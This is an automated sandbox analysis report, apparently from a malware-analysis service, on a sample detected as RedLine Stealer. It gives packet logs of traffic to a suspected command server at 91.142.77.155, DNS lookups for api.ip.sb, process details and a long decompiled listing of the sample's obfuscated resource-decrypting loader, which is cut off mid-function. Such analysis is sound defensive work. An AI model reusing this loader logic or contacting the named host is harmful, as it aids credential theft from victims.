                                                                                                                                                                                        Sep 25, 2021 10:16:53.077995062 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.078078032 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.078094006 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.078104973 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.078196049 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.078212976 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.078227997 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.078285933 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.078299999 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.078309059 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.078355074 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.078393936 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.078478098 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.078568935 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.078670025 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.078684092 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.078721046 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.078763962 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.078774929 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:53.078871012 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:53.078922033 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.078993082 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.079054117 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.079310894 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:53.133135080 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.133166075 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.133182049 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.133507967 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.133526087 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.133543968 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.133560896 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.133577108 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.133594990 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.133613110 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.133629084 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.133645058 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.133773088 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.133809090 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.133841038 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.133981943 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.134135008 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.134263039 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.134370089 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.136296034 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.177155972 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:53.526772022 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:53.582324028 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.589495897 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:53.644714117 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.647618055 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:53.703499079 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:53.755390882 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:54.156368971 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:54.212213039 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:54.212419033 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:54.212503910 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:54.288907051 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:54.344701052 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:54.346261978 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:54.401021004 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:54.459135056 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:54.567207098 CEST497435469192.168.2.391.142.77.155
                                                                                                                                                                                        Sep 25, 2021 10:16:54.662342072 CEST54694974391.142.77.155192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:54.727865934 CEST497435469192.168.2.391.142.77.155

                                                                                                                                                                                        UDP Packets

                                                                                                                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                        Sep 25, 2021 10:16:06.133810043 CEST5745953192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:16:06.167416096 CEST53574598.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:32.764503956 CEST5787553192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:16:32.792493105 CEST53578758.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:43.104506016 CEST5415453192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:16:43.122579098 CEST53541548.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:43.137342930 CEST5280653192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:16:43.158360958 CEST53528068.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:56.692529917 CEST5391053192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:16:56.717319012 CEST53539108.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:57.606867075 CEST6402153192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:16:57.630867004 CEST53640218.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:58.283207893 CEST6078453192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:16:58.306353092 CEST53607848.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:58.708564997 CEST5114353192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:16:58.744812965 CEST53511438.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:58.888739109 CEST5600953192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:16:58.923346043 CEST53560098.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:59.500516891 CEST5902653192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:16:59.512017965 CEST4957253192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:16:59.519695997 CEST53590268.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:16:59.531652927 CEST53495728.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:17:00.076922894 CEST6082353192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:17:00.096815109 CEST53608238.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:17:00.645001888 CEST5213053192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:17:00.666296959 CEST53521308.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:17:00.667365074 CEST5510253192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:17:00.705862999 CEST53551028.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:17:01.307647943 CEST5623653192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:17:01.327459097 CEST53562368.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:17:01.528655052 CEST5652753192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:17:01.546490908 CEST53565278.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:17:02.573122978 CEST4955953192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:17:02.591322899 CEST53495598.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:17:02.737210035 CEST5265053192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:17:02.756608009 CEST53526508.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:17:02.958090067 CEST6329753192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:17:02.982587099 CEST53632978.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:17:04.839500904 CEST5836153192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:17:04.859633923 CEST53583618.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:17:06.394412994 CEST5361553192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:17:06.416254044 CEST53536158.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:17:15.232903957 CEST5072853192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:17:15.250844002 CEST53507288.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:17:32.861500978 CEST5377753192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:17:32.881268978 CEST53537778.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:17:36.404047966 CEST5710653192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:17:36.423139095 CEST53571068.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:17:37.545419931 CEST6035253192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:17:37.572981119 CEST53603528.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:17:55.473351002 CEST5677353192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:17:55.498846054 CEST53567738.8.8.8192.168.2.3
                                                                                                                                                                                        Sep 25, 2021 10:18:02.670332909 CEST6098253192.168.2.38.8.8.8
                                                                                                                                                                                        Sep 25, 2021 10:18:02.705972910 CEST53609828.8.8.8192.168.2.3

                                                                                                                                                                                        DNS Queries

                                                                                                                                                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                                                                                                                                        Sep 25, 2021 10:16:43.104506016 CEST192.168.2.38.8.8.80x1dfdStandard query (0)api.ip.sbA (IP address)IN (0x0001)
                                                                                                                                                                                        Sep 25, 2021 10:16:43.137342930 CEST192.168.2.38.8.8.80x1e4aStandard query (0)api.ip.sbA (IP address)IN (0x0001)

                                                                                                                                                                                        DNS Answers

                                                                                                                                                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                                                                                                                                        Sep 25, 2021 10:16:43.122579098 CEST8.8.8.8192.168.2.30x1dfdNo error (0)api.ip.sbapi.ip.sb.cdn.cloudflare.netCNAME (Canonical name)IN (0x0001)
                                                                                                                                                                                        Sep 25, 2021 10:16:43.158360958 CEST8.8.8.8192.168.2.30x1e4aNo error (0)api.ip.sbapi.ip.sb.cdn.cloudflare.netCNAME (Canonical name)IN (0x0001)

                                                                                                                                                                                        Code Manipulations

                                                                                                                                                                                        Statistics

                                                                                                                                                                                        CPU Usage

                                                                                                                                                                                        Click to jump to process

                                                                                                                                                                                        Memory Usage

                                                                                                                                                                                        Click to jump to process

                                                                                                                                                                                        High Level Behavior Distribution

                                                                                                                                                                                        Click to dive into process behavior distribution

                                                                                                                                                                                        Behavior

                                                                                                                                                                                        Click to jump to process

                                                                                                                                                                                        System Behavior

                                                                                                                                                                                        Analysis Process: WXekVwRNtG.exe PID: 4660 Parent PID: 672

                                                                                                                                                                                        General

                                                                                                                                                                                        Start time:10:16:11
                                                                                                                                                                                        Start date:25/09/2021
                                                                                                                                                                                        Path:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                        Commandline:'C:\Users\user\Desktop\WXekVwRNtG.exe'
                                                                                                                                                                                        Imagebase:0x400000
                                                                                                                                                                                        File size:326656 bytes
                                                                                                                                                                                        MD5 hash:04B456FF36412C84821B0E945C24BC71
                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                        Programmed in:.Net C# or VB.NET
                                                                                                                                                                                        Yara matches:
                                                                                                                                                                                        • Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.380597703.0000000002190000.00000004.00020000.sdmp, Author: Joe Security
                                                                                                                                                                                        • Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.380786166.000000000223C000.00000004.00000001.sdmp, Author: Joe Security
                                                                                                                                                                                        • Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.384818345.0000000003575000.00000004.00000001.sdmp, Author: Joe Security
                                                                                                                                                                                        • Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000003.290918132.00000000005BB000.00000004.00000001.sdmp, Author: Joe Security
                                                                                                                                                                                        • Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.385834535.00000000049F0000.00000004.00020000.sdmp, Author: Joe Security
                                                                                                                                                                                        Reputation:low

                                                                                                                                                                                        Chronological Activities

                                                                                                                                                                                        Analysis Process: conhost.exe PID: 4344 Parent PID: 4660

                                                                                                                                                                                        General

                                                                                                                                                                                        Start time:10:16:11
                                                                                                                                                                                        Start date:25/09/2021
                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                        Imagebase:0x7ff7f20f0000
                                                                                                                                                                                        File size:625664 bytes
                                                                                                                                                                                        MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                        Reputation:high

                                                                                                                                                                                        Chronological Activities

                                                                                                                                                                                        Disassembly

                                                                                                                                                                                        Code Analysis

                                                                                                                                                                                        Reset < >

                                                                                                                                                                                          Analysis Process: WXekVwRNtG.exe PID: 4660 Parent PID: 672 WXekVwRNtG.exeCOMMON

                                                                                                                                                                                          Executed Functions

                                                                                                                                                                                          Function 004019F0, Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747comprocessCOMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 77%
                                                                                                                                                                                          			E004019F0(void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t337;
				void* _t340;
				int _t341;
				CHAR* _t344;
				intOrPtr* _t349;
				int _t350;
				long _t352;
				signed int _t354;
				intOrPtr _t358;
				long _t359;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				_Unknown_base(*)()* _t367;
				int _t368;
				int _t369;
				int _t370;
				intOrPtr* _t376;
				int _t378;
				intOrPtr _t379;
				intOrPtr* _t381;
				int _t383;
				intOrPtr* _t384;
				int _t385;
				int _t396;
				int _t399;
				int _t402;
				int _t405;
				intOrPtr* _t407;
				int _t413;
				int _t415;
				void* _t421;
				int _t422;
				int _t424;
				intOrPtr* _t428;
				intOrPtr _t429;
				intOrPtr* _t431;
				int _t432;
				int _t435;
				intOrPtr* _t437;
				int _t438;
				intOrPtr* _t439;
				int _t440;
				int _t442;
				signed int _t448;
				signed int _t451;
				signed int _t452;
				int _t469;
				int _t471;
				int _t482;
				signed int _t486;
				intOrPtr* _t488;
				intOrPtr* _t490;
				intOrPtr* _t492;
				intOrPtr _t493;
				void* _t494;
				struct HRSRC__* _t497;
				void* _t514;
				int _t519;
				intOrPtr* _t520;
				void* _t524;
				void* _t525;
				struct HINSTANCE__* _t526;
				intOrPtr _t527;
				void* _t531;
				void* _t535;
				struct HRSRC__* _t536;
				intOrPtr* _t537;
				intOrPtr* _t539;
				int _t542;
				int _t543;
				intOrPtr* _t547;
				intOrPtr* _t548;
				intOrPtr* _t549;
				intOrPtr* _t550;
				void* _t551;
				intOrPtr _t552;
				int _t555;
				void* _t556;
				void* _t557;
				void* _t558;
				void* _t559;
				void* _t560;
				void* _t561;
				void* _t562;
				intOrPtr* _t563;
				void* _t564;
				void* _t565;
				void* _t566;
				void* _t567;

				_t567 = __eflags;
				_t494 = __edx;
				__imp__OleInitialize(0); // executed
				 *((char*)(_t556 + 0x18)) = 0xe0;
				 *((char*)(_t556 + 0x19)) = 0x3b;
				 *((char*)(_t556 + 0x1a)) = 0x8d;
				 *((char*)(_t556 + 0x1b)) = 0x2a;
				 *((char*)(_t556 + 0x1c)) = 0xa2;
				 *((char*)(_t556 + 0x1d)) = 0x2a;
				 *((char*)(_t556 + 0x1e)) = 0x2a;
				 *((char*)(_t556 + 0x1f)) = 0x41;
				 *((char*)(_t556 + 0x20)) = 0xd3;
				 *((char*)(_t556 + 0x21)) = 0x20;
				 *((char*)(_t556 + 0x22)) = 0x64;
				 *((char*)(_t556 + 0x23)) = 6;
				 *((char*)(_t556 + 0x24)) = 0x8a;
				 *((char*)(_t556 + 0x25)) = 0xf7;
				 *((char*)(_t556 + 0x26)) = 0x3d;
				 *((char*)(_t556 + 0x27)) = 0x9d;
				 *((char*)(_t556 + 0x28)) = 0xd9;
				 *((char*)(_t556 + 0x29)) = 0xee;
				 *((char*)(_t556 + 0x2a)) = 0x15;
				 *((char*)(_t556 + 0x2b)) = 0x68;
				 *((char*)(_t556 + 0x2c)) = 0xf4;
				 *((char*)(_t556 + 0x2d)) = 0x76;
				 *((char*)(_t556 + 0x2e)) = 0xb9;
				 *((char*)(_t556 + 0x2f)) = 0x34;
				 *((char*)(_t556 + 0x30)) = 0xbf;
				 *((char*)(_t556 + 0x31)) = 0x1e;
				 *((char*)(_t556 + 0x32)) = 0xe7;
				 *((char*)(_t556 + 0x33)) = 0x78;
				 *((char*)(_t556 + 0x34)) = 0x98;
				 *((char*)(_t556 + 0x35)) = 0xe9;
				 *((char*)(_t556 + 0x36)) = 0x6f;
				 *((char*)(_t556 + 0x37)) = 0xb4;
				 *((char*)(_t556 + 0x38)) = 0;
				_push(E00401650(_t556 + 0x14, _t556 + 0x114));
				_t337 = E0040B99E(0, _t494, _t524, _t535, _t567);
				_t557 = _t556 + 0xc;
				if(_t337 == 0x41b2a0) {
					L80:
					__eflags = 0;
					return 0;
				} else {
					_t340 = CreateToolhelp32Snapshot(8, GetCurrentProcessId()); // executed
					_t525 = _t340;
					 *((intOrPtr*)(_t557 + 0x280)) = 0x224;
					 *((char*)(_t557 + 0x64)) = 0xce;
					 *((char*)(_t557 + 0x65)) = 0x27;
					 *((char*)(_t557 + 0x66)) = 0x9c;
					 *((char*)(_t557 + 0x67)) = 0x1a;
					 *((char*)(_t557 + 0x68)) = 0x95;
					 *((char*)(_t557 + 0x69)) = 0x2e;
					 *((char*)(_t557 + 0x6a)) = 0x22;
					 *((char*)(_t557 + 0x6b)) = 0x57;
					 *((char*)(_t557 + 0x6c)) = 0x91;
					 *((char*)(_t557 + 0x6d)) = 0x21;
					 *((char*)(_t557 + 0x6e)) = 0x57;
					 *((char*)(_t557 + 0x6f)) = 0x3a;
					 *((char*)(_t557 + 0x70)) = 0xf8;
					 *((char*)(_t557 + 0x71)) = 0x98;
					 *((char*)(_t557 + 0x72)) = 0x5b;
					 *((char*)(_t557 + 0x73)) = 0xf4;
					 *((char*)(_t557 + 0x74)) = 0xb5;
					 *((char*)(_t557 + 0x75)) = 0x87;
					 *((char*)(_t557 + 0x76)) = 0x7b;
					 *((char*)(_t557 + 0x77)) = 0xf;
					 *((char*)(_t557 + 0x78)) = 0xf4;
					 *((char*)(_t557 + 0x79)) = 0x76;
					 *((char*)(_t557 + 0x7a)) = 0xb9;
					 *((char*)(_t557 + 0x7b)) = 0x34;
					 *((char*)(_t557 + 0x7c)) = 0xbf;
					 *((char*)(_t557 + 0x7d)) = 0x1e;
					 *((char*)(_t557 + 0x7e)) = 0xe7;
					 *((char*)(_t557 + 0x7f)) = 0x78;
					 *((char*)(_t557 + 0x80)) = 0x98;
					 *((char*)(_t557 + 0x81)) = 0xe9;
					 *((char*)(_t557 + 0x82)) = 0x6f;
					 *((char*)(_t557 + 0x83)) = 0xb4;
					 *((char*)(_t557 + 0x84)) = 0;
					 *((char*)(_t557 + 0x18)) = 0xc0;
					 *((char*)(_t557 + 0x19)) = 0x38;
					 *((char*)(_t557 + 0x1a)) = 0x8d;
					 *((char*)(_t557 + 0x1b)) = 0x1f;
					 *((char*)(_t557 + 0x1c)) = 0x8e;
					 *((char*)(_t557 + 0x1d)) = 0x30;
					 *((char*)(_t557 + 0x1e)) = 0x65;
					 *((char*)(_t557 + 0x1f)) = 0x47;
					 *((char*)(_t557 + 0x20)) = 0xd3;
					 *((char*)(_t557 + 0x21)) = 0x29;
					 *((char*)(_t557 + 0x22)) = 0x3b;
					 *((char*)(_t557 + 0x23)) = 0x56;
					 *((char*)(_t557 + 0x24)) = 0xf8;
					 *((char*)(_t557 + 0x25)) = 0x98;
					 *((char*)(_t557 + 0x26)) = 0x5b;
					 *((char*)(_t557 + 0x27)) = 0xf4;
					 *((char*)(_t557 + 0x28)) = 0xb5;
					 *((char*)(_t557 + 0x29)) = 0x87;
					 *((char*)(_t557 + 0x2a)) = 0x7b;
					 *((char*)(_t557 + 0x2b)) = 0xf;
					 *((char*)(_t557 + 0x2c)) = 0xf4;
					 *((char*)(_t557 + 0x2d)) = 0x76;
					 *((char*)(_t557 + 0x2e)) = 0xb9;
					 *((char*)(_t557 + 0x2f)) = 0x34;
					 *((char*)(_t557 + 0x30)) = 0xbf;
					 *((char*)(_t557 + 0x31)) = 0x1e;
					 *((char*)(_t557 + 0x32)) = 0xe7;
					 *((char*)(_t557 + 0x33)) = 0x78;
					 *((char*)(_t557 + 0x34)) = 0x98;
					 *((char*)(_t557 + 0x35)) = 0xe9;
					 *((char*)(_t557 + 0x36)) = 0x6f;
					 *((char*)(_t557 + 0x37)) = 0xb4;
					 *((char*)(_t557 + 0x38)) = 0;
					_t341 = Module32First(_t525, _t557 + 0x278); // executed
					if(_t341 == 0) {
						L38:
						FindCloseChangeNotification(_t525); // executed
						_t526 = GetModuleHandleA(0);
						 *((char*)(_t557 + 0x1c)) = 0xfc;
						 *((char*)(_t557 + 0x1d)) = 0xb;
						 *((char*)(_t557 + 0x1e)) = 0xff;
						 *((char*)(_t557 + 0x1f)) = 0x75;
						 *((char*)(_t557 + 0x20)) = 0xe7;
						 *((char*)(_t557 + 0x21)) = 0x44;
						 *((char*)(_t557 + 0x22)) = 0x4b;
						 *((char*)(_t557 + 0x23)) = 0x23;
						 *((char*)(_t557 + 0x24)) = 0xbf;
						 *((char*)(_t557 + 0x25)) = 0x45;
						 *((char*)(_t557 + 0x26)) = 0x3b;
						 *((char*)(_t557 + 0x27)) = 0x56;
						 *((char*)(_t557 + 0x28)) = 0xf8;
						 *((char*)(_t557 + 0x29)) = 0x98;
						 *((char*)(_t557 + 0x2a)) = 0x5b;
						 *((char*)(_t557 + 0x2b)) = 0xf4;
						 *((char*)(_t557 + 0x2c)) = 0xb5;
						 *((char*)(_t557 + 0x2d)) = 0x87;
						 *((char*)(_t557 + 0x2e)) = 0x7b;
						 *((char*)(_t557 + 0x2f)) = 0xf;
						 *((char*)(_t557 + 0x30)) = 0xf4;
						 *((char*)(_t557 + 0x31)) = 0x76;
						 *((char*)(_t557 + 0x32)) = 0xb9;
						 *((char*)(_t557 + 0x33)) = 0x34;
						 *((char*)(_t557 + 0x34)) = 0xbf;
						 *((char*)(_t557 + 0x35)) = 0x1e;
						 *((char*)(_t557 + 0x36)) = 0xe7;
						 *((char*)(_t557 + 0x37)) = 0x78;
						 *((char*)(_t557 + 0x38)) = 0x98;
						 *((char*)(_t557 + 0x39)) = 0xe9;
						 *((char*)(_t557 + 0x3a)) = 0x6f;
						 *((char*)(_t557 + 0x3b)) = 0xb4;
						 *((char*)(_t557 + 0x3c)) = 0;
						_t344 = E00401650(_t557 + 0x18, _t557 + 0x158);
						_t558 = _t557 + 8;
						_t536 = FindResourceA(_t526, _t344, 0xa);
						 *(_t558 + 0x50) = _t536;
						_t551 = LoadResource(_t526, _t536);
						 *((intOrPtr*)(_t558 + 0x44)) = LockResource(_t551);
						_t349 = E0040B84D(0, _t557 + 0x18, _t526, SizeofResource(_t526, _t536)); // executed
						_push(0x40022);
						_t537 = _t349; // executed
						_t350 = E0040AF66(0, _t526, __eflags); // executed
						_t559 = _t558 + 8;
						 *(_t559 + 0x34) = _t350;
						__eflags = _t350;
						if(_t350 == 0) {
							 *(_t559 + 0x50) = 0;
						} else {
							E0040BA30(_t526, _t350, 0, 0x40022);
							_t486 =  *(_t559 + 0x40);
							_t559 = _t559 + 0xc;
							 *(_t559 + 0x50) = _t486;
						}
						E00401300( *(_t559 + 0x50));
						_t497 =  *(_t559 + 0x48);
						_t352 = SizeofResource(_t526, _t497);
						 *(_t559 + 0x40) = _t352;
						asm("cdq");
						_t354 = _t352 + (_t497 & 0x000003ff) >> 0xa;
						__eflags = _t354;
						if(_t354 > 0) {
							_t519 =  *(_t559 + 0x3c);
							_t482 = _t537 - _t519;
							__eflags = _t482;
							 *(_t559 + 0x34) = _t519;
							 *(_t559 + 0x88) = _t482;
							 *(_t559 + 0x38) = _t354;
							do {
								_t424 =  *(_t559 + 0x34);
								_push( *(_t559 + 0x88) + _t424);
								_push(0x400);
								_push(_t424);
								E00401560(0,  *((intOrPtr*)(_t559 + 0x54)));
								 *(_t559 + 0x34) =  *(_t559 + 0x34) + 0x400;
								_t179 = _t559 + 0x38;
								 *_t179 =  *(_t559 + 0x38) - 1;
								__eflags =  *_t179;
							} while ( *_t179 != 0);
						}
						_t448 =  *(_t559 + 0x40) & 0x800003ff;
						__eflags = _t448;
						if(_t448 < 0) {
							_t448 = (_t448 - 0x00000001 | 0xfffffc00) + 1;
							__eflags = _t448;
						}
						__eflags = _t448;
						if(_t448 > 0) {
							_t421 =  *(_t559 + 0x40) - _t448;
							_push(_t421 + _t537);
							_push(_t448);
							_t422 = _t421 +  *((intOrPtr*)(_t559 + 0x44));
							__eflags = _t422;
							_push(_t422);
							E00401560(0,  *((intOrPtr*)(_t559 + 0x58)));
						}
						E0040BA30(_t526,  *(_t559 + 0x3c), 0,  *(_t559 + 0x40));
						_t560 = _t559 + 0xc;
						FreeResource(_t551);
						_t552 =  *_t537;
						 *((intOrPtr*)(_t560 + 0x94)) = _t552;
						_t358 = E0040B84D(0,  *(_t559 + 0x40), _t526, _t552); // executed
						_t561 = _t560 + 4;
						 *((intOrPtr*)(_t561 + 0x40)) = _t358;
						_t359 = SizeofResource(_t526,  *(_t560 + 0x4c));
						_t527 =  *((intOrPtr*)(_t561 + 0x38));
						_t192 = _t537 + 4; // 0x4
						E0040AC60(_t527, _t561 + 0x98, _t192, _t359);
						E0040BA30(_t527, _t537, 0,  *((intOrPtr*)(_t561 + 0x50)));
						_t528 = _t527 + 0xe;
						 *((char*)(_t561 + 0x34)) = 0xce;
						 *((char*)(_t561 + 0x35)) = 0x27;
						 *((char*)(_t561 + 0x36)) = 0x9c;
						 *((char*)(_t561 + 0x37)) = 0x1a;
						 *((char*)(_t561 + 0x38)) = 0x95;
